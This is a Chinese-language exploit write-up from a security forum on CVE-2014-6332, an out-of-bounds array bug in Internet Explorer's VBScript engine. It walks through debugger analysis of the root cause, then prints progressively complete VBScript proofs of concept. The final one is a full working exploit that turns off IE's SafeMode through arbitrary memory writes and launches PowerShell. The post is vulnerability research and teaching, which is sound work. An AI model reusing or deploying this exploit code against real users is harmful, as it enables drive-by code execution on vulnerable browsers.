查看原文
其他

CVE-2014-6332 修改浏览器安全属性开启Godmode

来杯柠檬红茶 看雪学院 2019-05-25

前言


这个漏洞是VBS脚本尝试重定义数组大小时,关于数组长度的数值设置不正确导致的,通过该漏洞可以造成越界读写内存以及代码执行,漏洞影响的范围是Win95+Ie3-Win10+Ie11,win95是1995年发布的,漏洞修复的时间是2014年,这个漏洞隐藏了差不多20年,可以说不光影响时间长,而且范围还很广。



实验环境


  • 操作系统:Windows 7 sp1 32位


  • 浏览器:IE10.0.9200.16438


  • 调试器: IDA、windbg、x64dbg




漏洞分析


下面是我自己修改的一份简单的poc,方便调试:

<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>
<SCRIPT LANGUAGE="VBScript">
dim   arrayA()       '定义动态数组
dim   arrayB()
dim   arraySize
dim   overSize
dim   index
dim   myarray

function Begin()
   On Error Resume Next
   BeginInit()
     Over()
end function

function Over()
   On Error Resume Next
   dim type1
   Over = False

   '根据BeginInit函数生成的 arraySize index 重新设置arraySize
   arraySize = arraySize + index
   ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
   overSize = arraySize + &h8000000
   
   redim  Preserve arrayA(arraySize)
   redim  arrayB(arraySize)
   ‘可以把下面这条代码理解为开启越界读写功能
   redim  Preserve arrayA(overSize)
   arrayA(arraySize + 1) = 15

end function

function BeginInit()
   
  '初始化随机数种子
  Randomize()
  '初始化数组的大小
  redim arrayA(5)
  redim arrayB(5)

  'arraySize 13 - 30
  arraySize = 13 + 17 * rnd(6)
  'index 7 - 10
  index = 7 + 3 * rnd(5)
end function

'调用触发函数

Msgbox "waiting for debug"

Begin()

</script>
</body>
</html>


windbg开启堆调试支持:


打开cmd输入gflags.exe /i iexplore.exe +hpa:


windbg附加IE运行poc时异常信息:


异常时eip = 66bd1a87,看指令就知道是读取esi内存时出错了,下面再看下esi指向的内存是哪里申请的。

vbscript!AssignVar:
66bd1a70 8bff            mov     edi,edi
66bd1a72 55              push    ebp
66bd1a73 8bec            mov     ebp,esp
66bd1a75 83e4f8          and     esp,0FFFFFFF8h
66bd1a78 83ec24          sub     esp,24h
66bd1a7b 53              push    ebx
66bd1a7c 56              push    esi
66bd1a7d 8bf2            mov     esi,edx
66bd1a7f bb0c400000      mov     ebx,400Ch
66bd1a84 57              push    edi
66bd1a85 8bf9            mov     edi,ecx
66bd1a87 66391e          cmp     word ptr [esi],bx        ds:0023:080d1000=????
66bd1a8a 0f84d58c0100    je      vbscript!AssignVar+0x211 (66bea765)
66bd1a90 66391f          cmp     word ptr [edi],bx
66bd1a93 0f8411640100    je      vbscript!AssignVar+0x1ca (66be7eaa)
66bd1a99 b90c600000      mov     ecx,600Ch


通过 !heap -p -a esi,可以看到是vbscript模块的RedimPreserveArray申请的:

(cb0.724): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0000400c ecx=06bbbf10 edx=080d1000 esi=080d1000 edi=06bbbf10
eip=66bd1a87 esp=05a2b110 ebp=05a2b144 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
vbscript!AssignVar+0x17:
66bd1a87 66391e          cmp     word ptr [esi],bx        ds:0023:080d1000=????
0:008> !heap -p -a esi
   address 080d1000 found in
   _DPH_HEAP_ROOT @ 61000
   in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                92f171c:          80d0e80              180 -          80d0000             2000
   6b2b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
   6b2b92b2 verifier!AVrfDebugPageHeapReAllocate+0x000001a2
   77016153 ntdll!RtlDebugReAllocateHeap+0x00000033
   76fde46c ntdll!RtlReAllocateHeap+0x00000054
   764dee32 ole32!CRetailMalloc_Realloc+0x00000025
   760ced3c OLEAUT32!SafeArrayRedim+0x00000153
   66c04774 vbscript!RedimPreserveArray+0x0000003d
   66c04c7c vbscript!CScriptRuntime::RunNoEH+0x00004061
   66bd5c2c vbscript!CScriptRuntime::Run+0x000000c4
   66bd5b48 vbscript!CScriptEntryPoint::Call+0x0000010b
   66bedd87 vbscript!CScriptRuntime::RunNoEH+0x00002b6e
   66bd5c2c vbscript!CScriptRuntime::Run+0x000000c4
   66bd5b48 vbscript!CScriptEntryPoint::Call+0x0000010b
   66bedd87 vbscript!CScriptRuntime::RunNoEH+0x00002b6e


下面是当前栈回溯信息:

0:008> kv
ChildEBP RetAddr  Args to Child              
05a2b144 66be7cbc 097cef88 05a2b560 05a2b9c8 vbscript!AssignVar+0x17 (FPO: [1,9,4])
05a2b4f0 66bd5c2c 05a2b560 05a2b9c8 1fc41f1a vbscript!CScriptRuntime::RunNoEH+0x38d4 (FPO: [Non-Fpo])
05a2b544 66bd5b48 05a2b560 05a2bb30 0981ffe0 vbscript!CScriptRuntime::Run+0xc4 (FPO: [SEH])
05a2b654 66bedd87 05a2b9c8 00000000 06bbbf50 vbscript!CScriptEntryPoint::Call+0x10b (FPO: [5,61,4])
05a2ba10 66bd5c2c 05a2ba80 05a2bee8 1fc4103a vbscript!CScriptRuntime::RunNoEH+0x2b6e (FPO: [Non-Fpo])
05a2ba64 66bd5b48 05a2ba80 05a2c050 06bbdfe0 vbscript!CScriptRuntime::Run+0xc4 (FPO: [SEH])
05a2bb74 66bedd87 05a2bee8 00000000 06bbbf70 vbscript!CScriptEntryPoint::Call+0x10b (FPO: [5,61,4])


关闭堆调试支持使用x64dbg分析:


打开cmd输入gflags.exe /i iexplore.exe -hpa关闭堆调试支持 :


x64dbg附加IE开始分析 :


运行poc用x64dbg附加先下载符号表,符号表下载完成后需要重新附加才有效果。


经过上面分析,内存是RedimPreserveArray函数申请的,那么拿IDA先看看:


下面是SAFEARRAY的数据结构, 既然有了数据结构那么就拿x64dbg来看一下吧。

typedef struct tagSAFEARRAY
{

   USHORT cDims;
   USHORT fFeatures;
   ULONG cbElements;
   ULONG cLocks;
   PVOID pvData;
   SAFEARRAYBOUND rgsabound[ 1 ];
}SAFEARRAY;


x64dbg对0x6A8E476E处下断,断下后观察esi指向的SAFEARRAY得知pvData是数组的首地址,dataSize是数组大小,pvData 0x0297DEF0,dataSize是0x6。


再观察下eax指向的内存,其中存着0x1D,那么现在确定待调整的大小是0x1D。


F8后再观察SAFEARRAY,这时pvData变成了 0x0298DDE0,之前是0x0297DEF0,大小也变成了预期的0x1D。


下面结合poc代码看一下,调试器现在断在第一次调整arrayA的时候,按F9后再断下来一次就是第二次调整了。


在第二次断到SafeArrayRedim,可以看到调整的大小是0x0800001D,这是一个超大的数值,内存是肯定申请不到的,那么接下来看下ESI指向的SAFEARRAY


当前的pvData是0x0298DDE0,大小是0x1D,那么直接F8看接下来的表现。


F8后数组大小被改变了,但是数组首地址却没有变,这时候其实是重定义数组大小失败了,在执行SafeArrayRedim前对HeapAlloc下断调试下就知道了,HeapAlloc 申请大小为0x0800001D的内存时会返回失败,因为这个空间太大了,可以想象这时候数组真正占用的空间其实时0x1D,而由于没有校验申请内存的成功或失败就非常着急的更改了数组长度,现在的长度已经被改成了0x0800001D,这也就说明这个数组读写的范围可以在0-0x0800001D之间,这明显越界读写了,关于在执行SafeArrayRedim函数时HeapAlloc申请内存失败的过程,各位看官可以自己动手调试下,现在漏洞成因清楚了,那么就可以开始接下来的利用环节了。



漏洞利用


在利用前还需要对VARIANT这个结构有所了解,因为往数组中存储整型数据时,VBS虚拟机默认使用VARIANT结构来存储,在脚本语言和com组件中,这个结构会被比较频繁的使用到,记得多年前用VBS写脚本调用C++的com组件时,组建的接口就使用了VARIANT, 为什么使用VARIANT呢?因为不同类型的数据都可以用VARIANT这个结构来存储,使用起来十分的方便。


vt字段描述了数据的类型,wReserved1 - wReserved3保留, 变量数据 存储在联合体中,下面是具体的结构定义:

struct tagVARIANT {
    union {
        struct __tagVARIANT {
            VARTYPE vt;
            WORD     wReserved1;
            WORD     wReserved2;
            WORD     wReserved3;
            union {
                ULONGLONG      ullVal;        /* VT_UI8                */
                LONGLONG       llVal;         /* VT_I8                 */
                LONG           lVal;          /* VT_I4                 */
                BYTE           bVal;          /* VT_UI1                */
                SHORT          iVal;          /* VT_I2                 */
                FLOAT          fltVal;        /* VT_R4                 */
                DOUBLE         dblVal;        /* VT_R8                 */
                VARIANT_BOOL   boolVal;       /* VT_BOOL               */
                _VARIANT_BOOL bool;          /* (obsolete)            */
                SCODE          scode;         /* VT_ERROR              */
                CY             cyVal;         /* VT_CY                 */
                DATE           date;          /* VT_DATE               */
                BSTR           bstrVal;       /* VT_BSTR               */
                IUnknown *     punkVal;       /* VT_UNKNOWN            */
                IDispatch *    pdispVal;      /* VT_DISPATCH           */
                SAFEARRAY *    parray;        /* VT_ARRAY              */
                BYTE *         pbVal;         /* VT_BYREF|VT_UI1       */
                SHORT *        piVal;         /* VT_BYREF|VT_I2        */
                LONG *         plVal;         /* VT_BYREF|VT_I4        */
                LONGLONG *     pllVal;        /* VT_BYREF|VT_I8        */
                FLOAT *        pfltVal;       /* VT_BYREF|VT_R4        */
                DOUBLE *       pdblVal;       /* VT_BYREF|VT_R8        */
                VARIANT_BOOL *pboolVal;      /* VT_BYREF|VT_BOOL      */
                _VARIANT_BOOL *pbool;        /* (obsolete)            */
                SCODE *        pscode;        /* VT_BYREF|VT_ERROR     */
                CY *           pcyVal;        /* VT_BYREF|VT_CY        */
                DATE *         pdate;         /* VT_BYREF|VT_DATE      */
                BSTR *         pbstrVal;      /* VT_BYREF|VT_BSTR      */
                IUnknown **    ppunkVal;      /* VT_BYREF|VT_UNKNOWN   */
                IDispatch **   ppdispVal;     /* VT_BYREF|VT_DISPATCH */
                SAFEARRAY **   pparray;       /* VT_BYREF|VT_ARRAY     */
                VARIANT *      pvarVal;       /* VT_BYREF|VT_VARIANT   */
                PVOID          byref;         /* Generic ByRef         */
                CHAR           cVal;          /* VT_I1                 */
                USHORT         uiVal;         /* VT_UI2                */
                ULONG          ulVal;         /* VT_UI4                */
                INT            intVal;        /* VT_INT                */
                UINT           uintVal;       /* VT_UINT               */
                DECIMAL *      pdecVal;       /* VT_BYREF|VT_DECIMAL   */
                CHAR *         pcVal;         /* VT_BYREF|VT_I1        */
                USHORT *       puiVal;        /* VT_BYREF|VT_UI2       */
                ULONG *        pulVal;        /* VT_BYREF|VT_UI4       */
                ULONGLONG *    pullVal;       /* VT_BYREF|VT_UI8       */
                INT *          pintVal;       /* VT_BYREF|VT_INT       */
                UINT *         puintVal;      /* VT_BYREF|VT_UINT      */
                struct __tagBRECORD {
                    PVOID          pvRecord;
                    IRecordInfo * pRecInfo;
                } __VARIANT_NAME_4;          /* VT_RECORD             */
            } __VARIANT_NAME_3;
        } __VARIANT_NAME_2;
        DECIMAL decVal;
    } __VARIANT_NAME_1;
};


当vt = 2时变量的类型为一个short,vt = 3时变量的类型为Long,在这里重点关注的就是short和long型变量,因为在后面的利用过程中就使用了越界读写去改变VARIANT结构中的数据类型。

enum VARENUM
{
       VT_EMPTY    = 0,
       VT_NULL = 1,
       VT_I2   = 2,
       VT_I4   = 3,
       VT_R4   = 4,
       VT_R8   = 5,
       VT_CY   = 6,
       VT_DATE = 7,
       VT_BSTR = 8,
       VT_DISPATCH = 9,
       VT_ERROR    = 10,
       VT_BOOL = 11,
       VT_VARIANT  = 12,
       VT_UNKNOWN  = 13,
       VT_DECIMAL  = 14,
       VT_I1   = 16,
       VT_UI1  = 17,
       VT_UI2  = 18,
       VT_UI4  = 19,
       VT_I8   = 20,
       VT_UI8  = 21,
       VT_INT  = 22,
       VT_UINT = 23,
       VT_VOID = 24,
       VT_HRESULT  = 25,
       VT_PTR  = 26,
       VT_SAFEARRAY    = 27,
       VT_CARRAY   = 28,
       VT_USERDEFINED  = 29,
       VT_LPSTR    = 30,
       VT_LPWSTR   = 31,
       VT_RECORD   = 36,
       VT_INT_PTR  = 37,
       VT_UINT_PTR = 38,
       VT_FILETIME = 64,
       VT_BLOB = 65,
       VT_STREAM   = 66,
       VT_STORAGE  = 67,
       VT_STREAMED_OBJECT  = 68,
       VT_STORED_OBJECT    = 69,
       VT_BLOB_OBJECT  = 70,
       VT_CF   = 71,
       VT_CLSID    = 72,
       VT_VERSIONED_STREAM = 73,
       VT_BSTR_BLOB    = 0xfff,
       VT_VECTOR   = 0x1000,
       VT_ARRAY    = 0x2000,
       VT_BYREF    = 0x4000,
       VT_RESERVED = 0x8000,
       VT_ILLEGAL  = 0xffff,
       VT_ILLEGALMASKED    = 0xfff,
       VT_TYPEMASK = 0xfff
} ;


现在对数据结构有一定的了解了,还需要动手调试下VBS数组在内存中的布局,在调试前需要稍微修改下poc中的Over函数,在函数中添加一个弹框来给调试提供便利,弹框后是对arrayA这个数组赋值,索引分别是1、2、3。

function Over()
   On Error Resume Next
   dim type1
   Over = False

   '根据BeginInit函数生成的 arraySize index 重新设置arraySize
   arraySize = arraySize + index
   ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
   overSize = arraySize + &h8000000
   
   redim  Preserve arrayA(arraySize)
   redim  arrayB(arraySize)
   redim  Preserve arrayA(overSize)

   Msgbox "test"
   
   arrayA(1) = 1
   arrayA(2) = 2
   arrayA(3) = 2

   arrayA(arraySize + 1) = 15

end function


修改poc后用IE运行,等待弹出"test"消息框后附加。


在VBS模块中对数组或变量的赋值是由函数AssignVar函数来完成的。


现在用x64dbg对0x6AA01B0E下断,断下来后看下各个寄存器以及内存情况。


F8执行到0x6AA01B29处,这时已经完成VARIANT的拷贝了,现在可以观察下esi指向的内存。


在arrayA(3) = 2执行完成后,可以看到内存布局变成下面这样了。


有了上面的信息作为铺垫后,接下来就再稍微修改下poc构造一个可以利用的内存布局,并获取CScriptEntryPoint对象。

<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>

<SCRIPT LANGUAGE="VBScript">

dim   arrayA()       '定义动态数组
dim   arrayB()
dim   arraySize
dim   overSize
dim   index
dim   myarray

function Begin()
   On Error Resume Next
   BeginInit()
       
     If CreateArray() = True Then
          Trigger()
     end if

end function

function Trigger()
   On Error Resume Next
   
   myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
   myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
   
   pCScriptEntryPoint = setCScriptEntryPoint()

end function

sub test()
end sub

function setCScriptEntryPoint()
    On Error Resume Next
     
    dim pVTable

    pScriptEntryPoint = test
    pScriptEntryPoint = null

    Msgbox "waiting for debug"

    redim  Preserve arrayA(overSize)
    arrayB(0) = 0
    arrayA(arraySize + 2) = pScriptEntryPoint

    arrayB(0) = 6.36598737437801E-314

    arrayA(arraySize + 4) = myarray
    arrayB(2) = 1.74088534731324E-310

    setCScriptEntryPoint = arrayA(arraySize + 2)

    redim  Preserve arrayA(arraySize)

end function

function Over()
   On Error Resume Next
   dim type1
   Over = False
   
   '根据BeginInit函数生成的 arraySize index 重新设置arraySize
   arraySize = arraySize + index
   ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
   overSize = arraySize + &h8000000
   
   redim  Preserve arrayA(arraySize)
   redim  arrayB(arraySize)
   
   redim  Preserve arrayA(overSize)
   arrayA(arraySize) = 10
   arrayB(0) = 1.123456789012345678901234567890
   type1 = 1
   
   '可见这样循环400次判断2F66 是为了 把arrayA和arrayB的内存撞到一起 让arrayA可以越界读写arrayB
   If (IsObject(arrayA(arraySize + 1)) = False) Then

       if(vartype(arrayA(arraySize + 1)) <> 0)  Then  
          If(IsObject(arrayA(arraySize + 2)) = False ) Then
              type1=VarType(arrayA(arraySize + 2))
          end if  
       end if

   end if
   
   If(type1=&h2f66) Then
         Over=True  
   else
   End If
   
   '恢复正常的数组大小
   redim  Preserve arrayA(arraySize)
   
end function

function CreateArray()
 On Error Resume Next
 dim i
 CreateArray = False

 For i = 0 To 400
   If Over() = True Then
      CreateArray = True
      Exit For
   End If
 Next

end function


function BeginInit()
   
  '初始化随机数种子
  Randomize()
  '初始化数组的大小
  redim arrayA(5)
  redim arrayB(5)

  'arraySize 13 - 30
  arraySize = 13 + 17 * rnd(6)
  'index 7 - 10
  index = 7 + 3 * rnd(5)
end function


Begin()

</script>
</body>
</html>


在Over函数中,会通过重定义arrayA和arrayB的大小来刷新这两个数组的地址,然后判断arrayB是否在arrayA之下并且相邻,如果相邻就代表内存构造成功,之后调用setCScriptEntryPoint获取CScriptEntryPoint对象,在setCScriptEntryPoint函数中写了一个弹框方便下断调试,下面就运行下poc,观察下是如何拿到CScriptEntryPoint对象的吧。


首先看看执行arrayB(0) = 0的时候,esi指向arrayB(0),由于两个数组内存位置相邻,通过arrayB就可以算出arrayA。


下面再看看arrayA(arraySize + 2) = pScriptEntryPoint这条代码写入CScriptEntryPoint对象,通过观察内存可以发现arrayB和arrayA(arraySize + 2)的内存重叠了,此时arrayA(arraySize + 2)处虽然写入了对象地址,但是这个对象地址是无法利用的,因为变量的Type是1,1是VT_NULL,必须要将变量类型设置为VT_I4才能使用,由于arrayA和ArrayB是重叠的,那么只需要把arrayB(0)指向的VARIANT结构低64位构造成指定的数据就可以了,恰好写入浮点类型的数据可以满足这个要求。


下面再看看执行arrayB(0) = 6.36598737437801E-314时,很明显数据类型被改成了VT_I4,这样在VBS虚拟机读内存数据时才会读取4字节数据。


现在还有个问题,CScriptEntryPoint对象是怎么来的,怎么写入pScriptEntryPoint变量中的?那是因为在执行pScriptEntryPoint = test的时候,VBS使用CScriptEntryPoint对象去检查这条语句是不合法的,随之产生一个错误,再CScriptEntryPoint被写入了CSession对象中,之后pScriptEntryPoint = null 时,没有清除掉CScriptEntryPoint,导致CScriptEntryPoint被构造进了VARIANT结构。


这些任务完成后,就可以修改IE安全设置了,下面是完整的利用poc:

<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>

<SCRIPT LANGUAGE="VBScript">

dim   arrayA()       '定义动态数组
dim   arrayB()
dim   arraySize
dim   overSize
dim   index
dim   myarray

function Begin()
   On Error Resume Next
   BeginInit()
       
     If CreateArray() = True Then
          Trigger()
     end if

end function

function readMemory(addr)
   On Error Resume Next
   redim  Preserve arrayA(overSize)
   
   arrayB(0) = 0
   arrayA(arraySize + 2) = addr + 4
   arrayB(0) = 1.69759663316747E-313
   readMemory = lenb(arrayA(arraySize + 2))
   arrayB(0) = 0    
   
   redim  Preserve arrayA(arraySize)
end function

function RunWin32Exe()
   On Error Resume Next
   set shell=createobject("Shell.Application")
   shell.ShellExecute "powershell.exe"
end function


function Trigger()
   On Error Resume Next
   
   myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
   myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
   
   pCScriptEntryPoint = setCScriptEntryPoint()

   pAddr = readMemory(pCScriptEntryPoint + 8)
   pAddr = readMemory(pAddr + 16)
   result = readMemory(pAddr + &h134)
   
   for offset = 0 to &h60 step 4

       progId = readMemory(pAddr + &h120 + offset)
   if(progId = 14) then
             redim  Preserve arrayA(overSize)
         '
这里改了权限
            arrayA(arraySize + 4)(pAddr + &h11c + offset) = arrayB(4)
         redim  Preserve arrayA(arraySize)
             Exit for
       end if
   next

   RunWin32Exe()

end function

sub test()
end sub

function setCScriptEntryPoint()
    On Error Resume Next
     
    dim pVTable

    pScriptEntryPoint = test
    pScriptEntryPoint = null
         Msgbox "waiting for debug"
    redim  Preserve arrayA(overSize)
    arrayB(0) = 0
    arrayA(arraySize + 2) = pScriptEntryPoint

    arrayB(0) = 6.36598737437801E-314

    arrayA(arraySize + 4) = myarray
    arrayB(2) = 1.74088534731324E-310

    setCScriptEntryPoint = arrayA(arraySize + 2)

    redim  Preserve arrayA(arraySize)

end function

function Over()
   On Error Resume Next
   dim type1
   Over = False
   
   '根据BeginInit函数生成的 arraySize index 重新设置arraySize
   arraySize = arraySize + index
   ' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
   overSize = arraySize + &h8000000
   
   redim  Preserve arrayA(arraySize)
   redim  arrayB(arraySize)
   
   redim  Preserve arrayA(overSize)
   arrayA(arraySize) = 10
   arrayB(0) = 1.123456789012345678901234567890
   type1 = 1
   
   '可见这样循环400次判断2F66 是为了 把arrayA和arrayB的内存撞到一起 让arrayA可以越界读写arrayB
   If (IsObject(arrayA(arraySize + 1)) = False) Then

       if(vartype(arrayA(arraySize + 1)) <> 0)  Then  
          If(IsObject(arrayA(arraySize + 2)) = False ) Then
              type1=VarType(arrayA(arraySize + 2))
          end if  
       end if

   end if
   
   If(type1=&h2f66) Then
         Over=True  
   else
   End If
   
   '恢复正常的数组大小
   redim  Preserve arrayA(arraySize)
   
end function

function CreateArray()
 On Error Resume Next
 dim i
 CreateArray = False

 For i = 0 To 400
   If Over() = True Then
      CreateArray = True
      Exit For
   End If
 Next

end function


function BeginInit()
   
  '初始化随机数种子
  Randomize()
  '初始化数组的大小
  redim arrayA(5)
  redim arrayB(5)

  'arraySize 13 - 30
  arraySize = 13 + 17 * rnd(6)
  'index 7 - 10
  index = 7 + 3 * rnd(5)
end function

Begin()

</script>
</body>
</html>


在获取到了CScriptEntryPoint后接着调用readMemory去读取内存,把弹框中的十进制地址转为16进制在内存中看看 pCScriptEntryPoint + 8 处,地址是0x023F90F0


再看看0x023F90F0 +0x10 处,这就是苦苦寻找的COleScript对象了,通过修改它的成员变量就可以绕过安全机制了。


在拿到了COleScript 的地址后,通过一个for循环在一定范围内搜索0xE这个变量,找到后改为0就关闭了IE的安全机制了。


可以在IDA中看看,偏移0x174处就是SafeMode了


在F9之后,期待的PowerShell弹出来了,利用到此结束。




总结


这个漏洞通过数组越界读写获得了可以读写任意地址的能力,然后直接修改内存中的安全设置,让脚本在创建shell对象时成功通过了浏览器的安全检查,随后就启动了PowerShell,不得不说这招简直太暴力了!  最后感谢yuange1975提供的poc!





- End -


看雪ID:来杯柠檬红茶                                

https://bbs.pediy.com/user-763252.htm


本文由 来杯柠檬红茶 原创

转载请注明来自看雪社区



热门图书推荐:


热门技术文章推荐:






公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com


    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存